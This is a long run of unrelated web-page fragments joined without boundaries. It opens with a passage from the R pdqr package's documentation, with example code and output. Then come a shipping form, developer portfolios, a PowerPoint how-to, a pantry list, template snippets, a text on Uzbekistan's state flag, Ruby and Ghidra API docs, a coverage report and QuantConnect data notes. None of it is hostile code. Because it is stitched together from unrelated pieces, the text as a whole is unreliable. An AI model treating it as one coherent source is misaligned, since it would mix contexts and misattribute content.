as_d(dnorm), as_d(dnorm, mean = 2, sd = 0.25), as_d(dnorm, mean = 4, sd = 0.5)
)
# Form a mixture with custom weights
norm_mix <- form_mix(norm_list, weights = c(0.6, 0.2, 0.2))
# Compute 95% highest density region
(norm_hdr <- summ_hdr(norm_mix, level = 0.95))
#> left right
#> 1 -1.82442072 2.53095750
#> 2 3.19649819 4.79334429
# Visualize
plot(norm_mix, main = "95% highest density region for normal mixture")
region_draw(norm_hdr)
new_*()
All new_*()
functions create a pdqr-function of certain class (“p”, “d”, “q”, or “r”) and type (“discrete” or “continuous”) based on sample or data frame (with appropriate structure):
density()
function if input has at least 2 elements. For 1 element special “dirac-like” pdqr-function is created: an approximation of single number as triangular distribution with very narrow support (1e-8 order of magnitude).All information about distribution that pdqr-function represents is stored in its “x_tbl” metadata: a data frame describing distribution with format similar to data frame input of new_*()
functions. One can get it using meta_x_tbl()
function.
Pdqr class correspond to the following functions describing distribution:
new_p()
.new_d()
. Generally speaking, it is a derivative of distribution’s p-function.new_q()
. Inverse of distribution’s p-function.new_r()
. Generates a random sample from distribution.For more details see vignette about creating pdqr-functions.
# Treat input as discrete
(p_mpg_dis <- new_p(mtcars$mpg, type = "discrete"))
#> Cumulative distribution function of discrete type
#> Support: [10.4, 33.9] (25 elements)
(d_mpg_dis <- new_d(mtcars$mpg, type = "discrete"))
#> Probability mass function of discrete type
#> Support: [10.4, 33.9] (25 elements)
(q_mpg_dis <- new_q(mtcars$mpg, type = "discrete"))
#> Quantile function of discrete type
#> Support: [10.4, 33.9] (25 elements)
(r_mpg_dis <- new_r(mtcars$mpg, type = "discrete"))
#> Random generation function of discrete type
#> Support: [10.4, 33.9] (25 elements)
## "x_tbl" metadata is the same for all `*_mpg_dis()` pdqr-functions
head(meta_x_tbl(p_mpg_dis), n = 3)
#> x prob cumprob
#> 1 10.4 0.06250 0.06250
#> 2 13.3 0.03125 0.09375
#> 3 14.3 0.03125 0.12500
# Treat input as continuous
(p_mpg_con <- new_p(mtcars$mpg, type = "continuous"))
#> Cumulative distribution function of continuous type
#> Support: ~[2.96996, 41.33004] (511 intervals)
(d_mpg_con <- new_d(mtcars$mpg, type = "continuous"))
#> Density function of continuous type
#> Support: ~[2.96996, 41.33004] (511 intervals)
(q_mpg_con <- new_q(mtcars$mpg, type = "continuous"))
#> Quantile function of continuous type
#> Support: ~[2.96996, 41.33004] (511 intervals)
(r_mpg_con <- new_r(mtcars$mpg, type = "continuous"))
#> Random generation function of continuous type
#> Support: ~[2.96996, 41.33004] (511 intervals)
## "x_tbl" metadata is the same for all `*_mpg_con()` pdqr-functions
head(meta_x_tbl(p_mpg_con), n = 3)
#> x y cumprob
#> 1 2.96996269 0.000114133557 0.00000000e+00
#> 2 3.04503133 0.000125168087 8.98202438e-06
#> 3 3.12009996 0.000136934574 1.88198694e-05
# Output of `new_*()` is actually a function
p_mpg_dis(15:20)
#> [1] 0.18750 0.31250 0.34375 0.40625 0.46875 0.56250
## Random generation. "discrete" type generates only values from input
r_mpg_dis(10)
#> [1] 10.4 33.9 26.0 19.2 24.4 18.7 17.8 18.7 15.5 21.4
r_mpg_con(10)
#> [1] 35.7089680 33.3634914 31.1541225 15.6482281 20.8554689 13.7275908 11.3686051 16.7155604 20.6710197
#> [10] 20.5132727
# Special case of dirac-like pdqr-function, which numerically approximates
# single number with distribution with narrow support
(r_dirac <- new_r(3.14, "continuous"))
#> Random generation function of continuous type
#> Support: ~[3.14, 3.14] (2 intervals)
meta_x_tbl(r_dirac)
#> x y cumprob
#> 1 3.13999999 0 0.0
#> 2 3.14000000 100000001 0.5
#> 3 3.14000001 0 1.0
# Type "discrete"
dis_tbl <- data.frame(x = 1:4, prob = 4:1 / 10)
new_d(dis_tbl, type = "discrete")
#> Probability mass function of discrete type
#> Support: [1, 4] (4 elements)
new_r(dis_tbl, type = "discrete")(10)
#> [1] 4 1 3 1 2 4 3 2 4 1
# Type "continuous"
con_tbl <- data.frame(x = 1:4, y = c(0, 1, 1, 1))
new_d(con_tbl, type = "continuous")
#> Density function of continuous type
#> Support: [1, 4] (3 intervals)
new_r(con_tbl, type = "continuous")(10)
#> [1] 2.21323986 1.58190910 2.85635049 2.32440194 2.44538842 2.89743821 3.29852362 2.43084969 2.81580878
#> [10] 2.79585280
as_*()
Family of as_*()
functions should be used to convert existing distribution functions into desired class (“p”, “d”, “q”, or “r”). Roughly, this is a new_*()
family but with function as an input.
There are two main use cases:
For more details see vignette about converting pdqr-functions.
Converting existing pdqr-function to desired type is done straightforwardly by changing function’s class without touching the underlying distribution (“x_tbl” metadata is the same):
d_dis <- new_d(1:4, "discrete")
meta_x_tbl(d_dis)
#> x prob cumprob
#> 1 1 0.25 0.25
#> 2 2 0.25 0.50
#> 3 3 0.25 0.75
#> 4 4 0.25 1.00
# This is equivalent to `new_p(1:4, "discrete")`
(p_dis <- as_p(d_dis))
#> Cumulative distribution function of discrete type
#> Support: [1, 4] (4 elements)
meta_x_tbl(p_dis)
#> x prob cumprob
#> 1 1 0.25 0.25
#> 2 2 0.25 0.50
#> 3 3 0.25 0.75
#> 4 4 0.25 1.00
Another important use case for as_*()
functions is to convert some other distribution functions to be pdqr-functions. Except small number of special cases, output of as_*()
function will have “continuous” type. The reason is because identifying exact values of distribution in discrete case is very hard in this setup (when almost nothing is known about the input function). It is assumed that if user knows those values, some new_*()
function with data frame input can be used to create arbitrary discrete pdqr-function.
General conversion algorithm is as follows:
new_*()
function is created which approximates input function. Approximation precision can be tweaked with n_grid
(and n_sample
for as_r()
) argument.Note that output is usually an approximation of input due to the following facts:
# "Honored" distributions
as_d(dnorm)
#> Density function of continuous type
#> Support: ~[-4.75342, 4.75342] (10000 intervals)
## Different picewise-linear approximation precision
as_d(dnorm, n_grid = 101)
#> Density function of continuous type
#> Support: ~[-4.75342, 4.75342] (100 intervals)
## Different extra arguments for input
as_d(dnorm, mean = 10, sd = 0.1)
#> Density function of continuous type
#> Support: ~[9.52466, 10.47534] (10000 intervals)
# Custom functions
my_d <- function(x) {
ifelse(x >= -1 & x <= 1, 0.75 * (1 - x^2), 0)
}
## With algorithmic support detection
as_d(my_d)
#> Density function of continuous type
#> Support: ~[-1.00018, 1.00019] (7588 intervals)
## Providing custom, maybe only partially known, support
as_d(my_d, support = c(-1, NA))
#> Density function of continuous type
#> Support: ~[-1, 1.00007] (9327 intervals)
as_d(my_d, support = c(-1, 1))
#> Density function of continuous type
#> Support: [-1, 1] (10000 intervals)
form_*()
and base operationsConcept of form functions is to take one or more pdqr-function(s) and return a transformed pdqr-function. Argument method
is used to choose function-specific algorithm of computation.
For more details see vignette about transforming pdqr-functions.
form_*()
familyThere are several form_*()
functions. Here are some examples:
# Transform support of pdqr-function with `form_resupport()`. Usually useful
# for dealing with bounded values.
d_smpl <- new_d(runif(1000), type = "continuous")
d_smpl_bounded <- form_resupport(d_smpl, support = c(0, 1), method = "reflect")
plot(d_smpl, main = "Estimating density of bounded quantity", col = "black")
lines(d_smpl_bounded, col = "blue")
## Reference uniform distribution
lines(as_d(dunif), col = "red")
# Perform general transformation with `form_trans()`. This is usually done by
# randomly simulating sample from output distribution and then calling one of
# `new_*()` functions.
d_norm <- as_d(dnorm)
## More accurate result would give use of `+` directly with: d_norm + d_norm
d_norm_2 <- form_trans(list(d_norm, d_norm), trans = `+`)
plot(d_norm_2, col = "black")
lines(as_d(dnorm, sd = sqrt(2)), col = "red")
Almost all basic R operations (implemented with S3 group generic functions) has methods for pdqr-functions. Operations are done as if applied to independent random variables with distributions represented by input pdqr-function(s). Many of methods have random nature and are implemented with form_trans()
, but have little tweaks that make their direct usage better than form_trans()
.
d_norm <- as_d(dnorm)
d_unif <- as_d(dunif)
# Distribution of difference of random variables. Computed with random
# simulation.
d_norm - d_unif
#> Density function of continuous type
#> Support: ~[-5.02445, 3.65236] (511 intervals)
# Comparing random variables results into boolean random variable represented
# by boolean pdqr-function (type "discrete" with values 0 for FALSE and 1 for
# TRUE). Here it means that random value of `d_norm` will be greater than random
# value of `d_unif` with probability around 0.316. This is computed directly,
# without random simulation.
d_norm > d_unif
#> Probability mass function of discrete type
#> Support: [0, 1] (2 elements, probability of 1: ~0.31563)
# Distribution of maximum of three random variables. Computed with random
# simulation.
max(d_norm, d_norm, d_norm)
#> Density function of continuous type
#> Support: ~[-2.3575, 4.11583] (511 intervals)
summ_*()
Concept of summary functions is to take one or more pdqr-function(s) and return a summary value. Argument method
is used to choose function-specific algorithm of computation.
For more details see vignette about summarizing pdqr-functions.
my_d <- as_d(dbeta, shape1 = 1, shape2 = 3)
# There are wrappers for all center summaries
summ_center(my_d, method = "mean")
#> [1] 0.249999259
summ_center(my_d, method = "median")
#> [1] 0.20629921
summ_center(my_d, method = "mode")
#> [1] 0
# There are wrappers for spread summaries
summ_spread(my_d, method = "sd")
#> [1] 0.193647842
# These return essentially the same result
summ_moment(my_d, order = 2, central = TRUE)
#> [1] 0.0374994867
summ_spread(my_d, method = "var")
#> [1] 0.0374994867
Distributions can be summarized with regions: union of closed intervals. They are represented as data frame with rows representing intervals and two columns “left” and “right” with left and right interval edges respectively.
# 90% highest density region (HDR)
summ_hdr(my_d, level = 0.9)
#> left right
#> 1 0 0.535887
## In case of unimodal distribution HDR is essentially the same as 90% interval
## of minimum width
summ_interval(my_d, level = 0.9, method = "minwidth")
#> left right
#> 1 0 0.535839727
summ_interval(my_d, level = 0.9, method = "percentile")
#> left right
#> 1 0.0169524103 0.631594521
Function summ_distance()
takes two pdqr-functions and returns a distance between two distributions they represent. Many methods of computation are available. This might be useful for doing comparative statistical inference.
my_d_2 <- as_d(dnorm, mean = 0.5)
# Kolmogorov-Smirnov distance
summ_distance(my_d, my_d_2, method = "KS")
#> [1] 0.397684098
# Total variation distance
summ_distance(my_d, my_d_2, method = "totvar")
#> [1] 0.706221267
# Probability of one distribution be bigger than the other, normalized to [0;1]
summ_distance(my_d, my_d_2, method = "compare")
#> [1] 0.194615851
# Wassertein distance: "average path density point should go while transforming
# from one into another"
summ_distance(my_d, my_d_2, method = "wass")
#> [1] 0.685534883
# Cramer distance: integral of squared difference of p-functions
summ_distance(my_d, my_d_2, method = "cramer")
#> [1] 0.165921075
# "Align" distance: path length for which one of distribution should be "moved"
# towards the other so that they become "aligned" (probability of one being
# greater than the other is 0.5)
summ_distance(my_d, my_d_2, method = "align")
#> [1] 0.251020429
# "Entropy" distance: `KL(f, g) + KL(g, f)`, where `KL()` is Kullback-Leibler
# divergence. Usually should be used for distributions with same support, but
# works even if they are different (with big numerical penalty).
summ_distance(my_d, my_d_2, method = "entropy")
#> [1] 12.6930974
Function summ_separation()
computes a threshold that optimally separates distributions represented by pair of input pdqr-functions. In other words, summ_separation()
solves a binary classification problem with one-dimensional linear classifier: values not more than some threshold are classified as one class, and more than threshold - as another. Order of input functions doesn’t matter.
summ_separation(my_d, my_d_2, method = "KS")
#> [1] 0.637042714
summ_separation(my_d, my_d_2, method = "F1")
#> [1] -6.02372908e-05
Functions summ_classmetric()
and summ_classmetric_df()
compute metric of classification setup, similar to one used in summ_separation()
. Here classifier threshold should be supplied and order of input matters. Classification is assumed to be done as follows: any x value not more than threshold value is classified as “negative”; if strictly greater - “positive”. Classification metrics are computed based on two pdqr-functions: f
, which represents the distribution of values which should be classified as “negative” (“true negative”), and g
- the same for “positive” (“true positive”).
# Many threshold values can be supplied
thres_vec <- seq(0, 1, by = 0.2)
summ_classmetric(f = my_d, g = my_d_2, threshold = thres_vec, method = "F1")
#> [1] 0.513819342 0.580222932 0.614898704 0.603832562 0.549732861 0.471575705
# In `summ_classmetric_df()` many methods can be supplied
summ_classmetric_df(
f = my_d, g = my_d_2, threshold = thres_vec, method = c("GM", "F1", "MCC")
)
#> threshold GM F1 MCC
#> 1 0.0 0.000000000 0.513819342 -0.427093061
#> 2 0.2 0.549127659 0.580222932 0.106817345
#> 3 0.4 0.650557843 0.614898704 0.333936376
#> 4 0.6 0.656293762 0.603832562 0.450433146
#> 5 0.8 0.615655766 0.549732861 0.472055694
#> 6 1.0 0.555461222 0.471575705 0.427093061
With summ_roc()
and summ_rocauc()
one can compute data frame of ROC curve points and ROC AUC value respectively. There is also a roc_plot()
function for predefined plotting of ROC curve.
my_roc <- summ_roc(my_d, my_d_2)
head(my_roc)
#> threshold fpr tpr
#> 1 5.25342531 0 0.00000000e+00
#> 2 5.24391846 0 4.81164585e-08
#> 3 5.23441161 0 9.84577933e-08
#> 4 5.22490476 0 1.51116706e-07
#> 5 5.21539791 0 2.06194913e-07
#> 6 5.20589106 0 2.63798357e-07
summ_rocauc(my_d, my_d_2)
#> [1] 0.597307926
roc_plot(my_roc)


Enter Shipping Address
Enter Shipping Address
Enter Shipping Address
Learn more
Opens in New Window
*
Indicates required fields
Full Name
*
:
Please supply a name for this address.
Address 1
*
:
You must fill in at least one of the address lines.
Address 2 (optional):
City
*
:
Please supply a city for this address.
State
*
:
Select State
Armed Forces - Americas
Armed Forces - Europe
Armed Forces - Pacific
Alabama
Alaska
Arizona
Arkansas
California
Colorado
Connecticut
Delaware
District of Columbia
Florida
Georgia
Hawaii
Idaho
Illinois
Indiana
Iowa
Kansas
Kentucky
Louisiana
Maine
Maryland
Massachusetts
Michigan
Minnesota
Mississippi
Missouri
Montana
Nebraska
Nevada
New Hampshire
New Jersey
New Mexico
New York
North Carolina
North Dakota
Ohio
Oklahoma
Oregon
Pennsylvania
Puerto Rico
Rhode Island
South Carolina
South Dakota
Tennessee
Texas
Utah
Vermont
Virginia
Washington
West Virginia
Wisconsin
Wyoming
Please supply a state.
Zip Code
*
:
Please enter a valid ZIP or Postal Code.
Phone Number
*
:
Please supply a phone number so we can contact you if there are any problems fulfilling your order.
In case we need to call for delivery-related questions.
Choose Shipping Options
Choose Shipping Options
Choose Shipping Options
Learn more
Opens in New Window
Shipping Method
Standard Shipping
(3-5 business days)
Two-Day Shipping
(2 business days)
One-Day Shipping
(1 business day)


Lead full stack developer
Hi there and welcome to my protfolio. I'm Sarel, a truly web geek since the days of 2007. Feel free to browse my projects up here, and contact me in case you want to work on something togheter. Will love to hear from you - Cheers!


Ping-Pong | Epicodus project | Week 3 | GitHub page
It takes a number and returns a range of numbers from 1 to the chosen number with the following exceptions:


This site is open source & does not track you in any way.
PGP 91 73 0B 7D B2 EA 84 1C<EMAIL_ADDRESS>© All content is WTFPL unless stated otherwise.


Jaw drop.
Camille Paglia deconstructs the (60 year old) Madonna by defending the (younger) Madonna’s attitude and criticizing the (older) Madonna’s gracelessness.
The main problem facing today’s aging women is not sexism but the lingering youth cult of the 1960s. Traditional mating patterns have been disrupted: Marriage is postponed by extended education and early career demands. Because of easy divorce, middle-aged women are now competing with younger women for both men and jobs — and thus are resorting to costly interventions to look 20 years younger than they are.
Read the rest here.


There are three methods to open a powerpoint presentation
Method 1. Use the tool Open on the Standard toolbar.
Method 2. Open File Menu from the Menu Bar and select Open option.
Method 3. To open the Presentation from the task pane, use given steps :-
1.In file menu open File open dialog box from where you can select the folder where you saved your presentation.
2.Select the powerpoint file to be opened.
3.The presentation is opened in Normal View and it shows mainly two panes :
one showing Outline View and another showing its Slide View.
It also shows drawing toolbars at the bottom.


Back
Start Over
Quick setup!
Give it a title:
Pick a font:
Cooper Black
Arial
Segoe Print
Old English Text MT
Algerian
Impact
Pick a color scheme:
Boring White
Black and White
Anger Red
Ocean Blue
Lemon Yellow
Olive Green
Generate Slides!


Home
Kitchen Staples
About
Kitchen Staples
Purchase while on sale. Dry items can be kept well in air tight containers.
Canned Goods
Tomato Sauce
Tomato Paste
Diced Tomatoes
Broth
Beans: kidney, black, pinto, garbanzo
Coconut Milk
Dry Goods
Flour
Sugar: white, brown, powdered
Rice
Baking Powder
Baking Soda
Pasta
Refrigerator
Milk
Eggs
Butter
Sour Cream
Plain Yogurt
Parmesan
Mayonnaise
Spices
Peppercorn
Basil
Oregano
Thyme
Cumin
Vanilla
Turmeric
Red Pepper
Paprika
Cinnamon
Curry Powder
Oil/Sauces
Olive Oil
Canola Oil
Soy Sauce
Worchestershire
Sriracha
Honey
Mustard
Lemon Juice
Vinegar: apple cider, red wine, rice


{% extends 'members/base.html' %} {% load crispy_forms_tags %} {% block title %}Login{% endblock %} {% block body %}
Your username and password didn't match. Please try again.
(If this is your first time trying to log in check your email for confirmation link.)
Your account doesn't have access to this page. To proceed, please login with an account that has access.
{% else %}Please login to see this page.
{% endif %} {% endif %}Need an account? Join SCU


You can find a brief explanation of my games at the bottom of this page along with a link to try them.
Psychological horror PC game demo following the story of Bri who finds herself back in the hospital that she grew up in, things are not quite as she remembers them.
Read More!Swipe based mobile game, the player assumes the role of a painter warrior hybrid, as they must perform a series of actions in order to swipe away each animal enemy.
Read More!Phaser game hosted on bitbucket, playable as a single player, exploring the interaction of a player through a medium of tablet game play. All of the art was hand drawn with a mouse by myself, playable in tablet browsers.
Read More!Unity3D game in, based on the theme of Duality. Taking this in the direction of a two player co-operative game, where two players must use a keyboard and XBOX controller to work together collecting and depositing 'Choco' dolls. One player controls launch time and direction, whilst the other decides the launch angle and power.
Read More!Tool created for usage originally for the Plymouth University Pokemon Trainers Society. Tool to be used on a Windows computer to generate team ideas for those stuck for what to use in a team. Tech demo, not suitable for profit distribution.
Read More!Unity game created for Ludum Dare 32 when hosted at Plymouth University. The player takes control of a zapper using their mouse to click on oncoming gears before they hit the robot.
Read More!Little something for the Christmas time, aimed at anyone stuck in front of their computer this holiday, or there on, needing a quick break and just sit down clicking for a little bit. Made in Unity3D utilising an assortment of skills learned throughout. Just a little something to cure some boredom.
Read More!This was the first game I ever created. It was the first assignment, the only requirement was to use Stencyl. This game focuses on avoiding being pushed up too high or dropping down too low. Simply fall by moving side to side. Reverse of the 'norm', by not pressing any buttons the player remains on the current platform. Initially utilising an old name 'TSteel' a game about tea was created.
Read More!Soon after the first project was over, I wanted to try making more games. Set a time limit of a few hours and said, "just make a game". Owls are great. Who wouldn't want to prod one? Monotonous, never changing action. It actually became my greatest success of the year. *sigh*. Nothing makes any sense. Regardless, the game itself involves the player clicking on a picture of an owl drawn in a rush using Paint.Net and it sings back.
Read More!Flying through the year we landed into the Unity game engine. First real taste of both game development and working in a 3D environment. No idea where to start, development for this game started in class as we were practicing the tutorials, and it just kind of formed as we played around with Unity. A full working update can be found on my Tumblr blog.
Read More!


Parallel recruitment form
Parallel recruitment form
Personal info
Name
Age
Email
Country
What do you do for a living? School, work etc.
WoW info
Character name
Link to Armory page
Class
Death Knight
Druid
Hunter
Mage
Monk
Paladin
Priest
Rogue
Shaman
Warlock
Warrior
Role
Dps
Healer
Tank
Professions
Alts
Previous guilds
Experience
Other
What are your expectations from the guild?
Do you have a microphone and TeamSpeak 3 installed? Are you able to communicate?
On how many of our raid days are you able to raid?
Thursday
Friday
Saturday
Monday
How did you learn about Parallel?


Rent
All
POST AD
DASHBOARD
keyboard_arrow_down
Hi, username
My Ads
My Cart
My Rent History
My Account
Sign Out
POST AN AD!
Duration:
Days
Weeks
Months
File
SUBMIT


[viewBag] title = "The State Flag Of The Republic Of Uzbekistan" ==
The law about “The State Flag of the Republic of Uzbekistan” was adopted on November 18 in 1991 in the 8th session of the Supreme Council of Uzbekistan. The flag of our country is a symbol of the sovereignty of the Republic. The national flag of the Republic represents the country internationally when official delegations from Uzbekistan visit foreign countries, as well as at conferences, world exhibition, and sports competitions. The national flag of the Republic is a right-angled colored cloth of three horizontal stripes: blue, white and green.
Blue is the symbol of the sky and water, which are the main source of life. Mainly blue was the color of the state flag of Temur.
White is the traditional symbol of peace and good luck, as Uzbek people say “Ok yul”.
Green is the color of nature and new life and good harvest.
Two thin red stripes symbolize the power of life.
There is a new moon, which symbolizes the newly independent Republic. There are twelve stars, which stand for spiritual sign. The stars also signify the historical traditions of the Uzbek people, as well as ancient solar calendar. A particular attention to twelve stars in the flag is explained yet by another suggestion, that in the states previously existed in the territory of modern Uzbekistan the scientific thought as “Astrology” had seen its rise. The stars in the Uzbek flag also point to the ancient roots of local culture, the aspirations of Uzbek people towards perfection and loyalty.


Class: Rpub::XmlFile
- Inherits:
-
Object
- Object
- Rpub::XmlFile
- Defined in:
- lib/rpub/xml_file.rb
Direct Known Subclasses
Epub::Container, Epub::Content, Epub::Cover, Epub::HtmlToc, Epub::Toc
Instance Attribute Summary (collapse)
-
- (Object) book
readonly
Returns the value of attribute book.
-
- (Builder::XmlMarkup) xml
readonly
Instance Method Summary (collapse)
-
- (XmlFile) initialize(book = nil)
constructor
A new instance of XmlFile.
-
- (String) to_s
Render this file and output as string.
Constructor Details
- (XmlFile) initialize(book = nil)
Returns a new instance of XmlFile
8 9 10 11 |
# File 'lib/rpub/xml_file.rb', line 8 def initialize(book = nil) @xml = Builder::XmlMarkup.new :indent => 2 @book = book end |
Instance Attribute Details
- (Object) book (readonly)
Returns the value of attribute book
6 7 8 |
# File 'lib/rpub/xml_file.rb', line 6 def book @book end |
- (Builder::XmlMarkup) xml (readonly)
4 5 6 |
# File 'lib/rpub/xml_file.rb', line 4 def xml @xml end |
Instance Method Details
- (String) to_s
Returns render this file and output as string
14 15 16 17 |
# File 'lib/rpub/xml_file.rb', line 14 def to_s render xml.target! end |


Favourite Color
Red
Yellow
Blue
Username:
Password:
Click here if you are male
Click here if you are female


Hi! I'm Pat Hayes. I grew up in Cleveland and went to the University of Dayton where I got a degree in applied mathematical economics. I recently finished the full-stack full-time web development code immersion camp at UNCC, which was pretty intense.
I've played some odd sports in my time including Gaelic football, hurling, australian rules football and rugby. The first two trace back to my Irish heritage and my involvement in the Cleveland Irish community. Although there is more to know about me this was a quick start!
The University of Dayton is where I spent four years achieving my undergrad. I started off in the engineering program moving from Electrical Engineering to eventually Applied Mathematical Economics. This bachelor of science gave me upper level core math skills as well as an economic basis where I could apply such skills. Out of all the classes I took, I probably had the most fun in 'Probability and Statistics' as well as Econometrics and using regression analysis.
During the summer breaks from Dayton, I also took courses closer to home at Cleveland State University where my dad worked until retirement. I was able to take undergraduate finance courses and had various roles in the student IS&T department. I was network technician, lab monitor, and student hardware/software technician. The first and last of the roles involved resolving tickets across the campus for things like: installing/hooking up network cables, finding and removing malware, diagnosing hardware failure, ordering replacement parts, installing replacement hardwawre, configing software for new users. All of these things on the job were a great learning experience for me.
After all these college days were over, I began looking at online coding courses through Udemy. I would work on these courses in my spare time. It was nice in that compared to most college courses it was far cheaper, unfortunately this seemed a little slow and too segmented for me making them take a while to finish...
So more recently I took a code immersion camp for full stack web development at UNCC. I took this course full time, leaving Cleveland and moving to South of Charlotte to do so. The program was intense, not everyone made it, but I'm quite proud of those who did finish with me. Doing this everyday and going over such a large breadth of material really pushed me to learn quickly. It had plenty of deadlines to manage as well as context switching as we went through many different languages, libraries, and technologies. One of the biggest things it gave me was ability to look into my own problems and teach myself new things to overcome current problems. Quite a few of the technologies used in my projects had to be self-taught. Through all of this, I've added quite a number of skills to my skill set.
I've gained quite a number of skills through my education and life experience, but for this site I'll highlight more of my development skills. In my projects section I've highlighted what each project uses. This way, if you're interested in a particular skill of mine, you can see which project showcases that skill or technology.
The basics - HTML5 CSS3 JS (JQuery, ES5, and getting more comfortable with ES6)
And some Frameworks and Libraries - Bootstrap, Materialize, Reactstrap, Material-ui, React
General usage - AJAX calls (Axios and Request), API use (calls, handling response JSON data, etc), Media Queries
Databases and ORMs: MySQL (sequelize, jawsDB on heroku), MongoDB (mongoose, Mlab on heroku) Firebase
Server, Routing, server side rendering: NodeJS, Express, React-router, Passport (as middleware), express-handlebars
There are so many that I've used for different things. Here's a (partial) list with the version used:
You can view any my projects through the appropriate github or heroku links!.
Visit Github Repository PageThis website was a remake of Amelies French Bakery website but remade into a SPA in React. Also made menus dynamically created from a database which a manager can modify. I Strongly recommend visiting both web pages and comparing them.
The core functionality of the app is to provide a platform where users are able to create and issue challenges to their friends or strangers as well as review challenges being done. Check out the examplary group documentation
Fridge 2 Plate is an easy to use web app that runs on the front end. It utilizes user input and APIs to return recipes and how to videos for selected recipes.
React SPA click game, Game of Thrones theme, utilizes KnuthYates shuffle in es6, highlights material-ui use for importing components. Score is stored with setState.
Feel free to connect with me through any of the links below
Or you can send me an email
Button not working? Make sure you have a default mail client or if you're not a fan of local mail clients then setup your browser to use a default webmail service.


Lorem Ipsum is simply dummy when an unknown printer took a galley of type and scrambled.
More DetailsLorem Ipsum is simply dummy when an unknown printer took a galley of type and scrambled.
More DetailsLorem Ipsum is simply dummy when an unknown printer took a galley of type and scrambled.
More DetailsLorem Ipsum is simply dummy when an unknown printer took a galley of type and scrambled.
More DetailsComputers have become ubiquitous in almost every facet of our lives.
DetailsAh, the technical interview. Nothing like it. Not only does it cause anxiety, but it causes anxiety for several different reasons.
DetailsPlantronics with its GN Netcom wireless headset creates the next generation of wireless headset and other products such as wireless.
DetailsAbout 64% of all on-line teens say that do things online that they wouldn’t want their parents to know about. 11% of all adult internet
DetailsComputers have become ubiquitous in almost every facet of our lives.
DetailsAh, the technical interview. Nothing like it. Not only does it cause anxiety, but it causes anxiety for several different reasons.
DetailsPlantronics with its GN Netcom wireless headset creates the next generation of wireless headset and other products such as wireless.
DetailsAbout 64% of all on-line teens say that do things online that they wouldn’t want their parents to know about. 11% of all adult internet
DetailsLorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since.
Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since.
Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since.
Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since.
Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since.
Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since.
Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since.
Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since.
There is a moment in the life of any aspiring astronomer that it is time to buy that first telescope. It’s exciting to think about setting up your own viewing station whether that is on the deck.
Apply For The Post41 Abc st, Autostrad road
Sun to Fri 09:00 AM to 06:00 PM
Contact Us anytime!


Press n or j to go to the next uncovered block, b, p or k for the previous block.
| File | Statements | Branches | Functions | Lines | |||||
|---|---|---|---|---|---|---|---|---|---|
| configuration.ts |
|
92.86% | 13/14 | 75% | 3/4 | 100% | 0/0 | 92.86% | 13/14 |
| jsonCompletion.ts |
|
84.57% | 433/512 | 77.5% | 341/440 | 81.54% | 53/65 | 84.23% | 406/482 |
| jsonDocumentSymbols.ts |
|
73.33% | 132/180 | 59.84% | 73/122 | 100% | 17/17 | 77.36% | 123/159 |
| jsonFolding.ts |
|
97.56% | 80/82 | 85.48% | 53/62 | 100% | 2/2 | 97.44% | 76/78 |
| jsonHover.ts |
|
86.67% | 65/75 | 78.33% | 47/60 | 88.89% | 8/9 | 87.32% | 62/71 |
| jsonSchemaService.ts |
|
92.33% | 325/352 | 81.41% | 127/156 | 98.08% | 51/52 | 92.36% | 290/314 |
| jsonSelectionRanges.ts |
|
97.22% | 35/36 | 95.65% | 22/23 | 100% | 4/4 | 97.06% | 33/34 |
| jsonValidation.ts |
|
67.68% | 67/99 | 53.73% | 36/67 | 91.67% | 11/12 | 70.45% | 62/88 |


There are roughly 16,400 symbols of survivorship bias free, split and dividend adjusted US equities data from Jan 1998 to today provided by QuantQuote. US Equities data by default arrives in adjusted format.
Our data is provided by QuantQuote and is trade data only only with tick, second, minute, hour and daily resolutions available.
The Tick data is raw and unfiltered - which includes suspicious, untradable and off market ticks. This can often result in unrealistic backtests. Before using tick data you should fully understand all the exchange codes and the "suspicious" flag which indicates a tick you should ignore. Unless you're an expert you should use the pre-filtered second and minute data.
QuantConnect live tick data comes directly from the exchanges. Like backtesting tick data, it is also raw and unfiltered.
When deploying an algorithm to Interactive Brokers you also have the option to use them for your datafeed. When using Interactive Brokers for your datafeed you must make sure you're subscribed to the asset classes you need.
// Complete Add Equity API - Including Default Parameters: AddEquity(string ticker, Resolution resolution = Resolution.Minute, string market = Market.USA, bool fillDataForward = true, decimal leverage = 0m, bool extendedMarketHours = false)
Trades can be accessed in the Slice or TradeBars object in OnData event handler:
var bar = data["SPY"];
Other information about the equity can be found in the security object:
var equity = Securities["SPY"];


{% import "macros/transform.html" as transform %}
{#
Sanitize the URL first. Discord has two domains for hosted images:
- media.discordapp.net, which allows resizing
- cdn.discordapp.com, which only hosts full resolution
#}
{% if src is containing("cdn.discordapp.com") %}
{% set src = transform::to_discord_media(url=src) %}
{% endif %}
{# TODO: If we ever know the aspect ratio of the image at compile-time,
we can use .ratio169 to eliminate CLS. #}


{% extends "layout.html" %} {% block body %}
Website for finding information about audio samples used in songs.
{% if most_recent_sample.id %}| Sample | Used in | Original | Views | Time added |
|---|---|---|---|---|
| {{ most_recent_sample.id }} | {{ most_recent_sample.used.name }} | {{ most_recent_sample.original.name }} | {{ most_recent_sample.views }} | {{ most_recent_sample.time.strftime("%Y-%m-%d %H:%M") }} |
| Album | Artist | Samples |
|---|---|---|
| {{ album_with_most_samples.name }} | {{ album_with_most_samples.artist.name }} | {{ album_with_most_samples.samples_count }} |


|
My Project
|
An abstract Emulate class using a MemoryState object as the backing machine state. More...
#include <emulate.hh>
Public Member Functions | |
| EmulateMemory (MemoryState *mem) | |
| Construct given a memory state. | |
| MemoryState * | getMemoryState (void) const |
| Get the emulator's memory state. More... | |
| Public Member Functions inherited from Emulate | |
| Emulate (void) | |
| generic emulator constructor | |
| void | setHalt (bool val) |
| Set the halt state of the emulator. More... | |
| bool | getHalt (void) const |
| Get the halt state of the emulator. More... | |
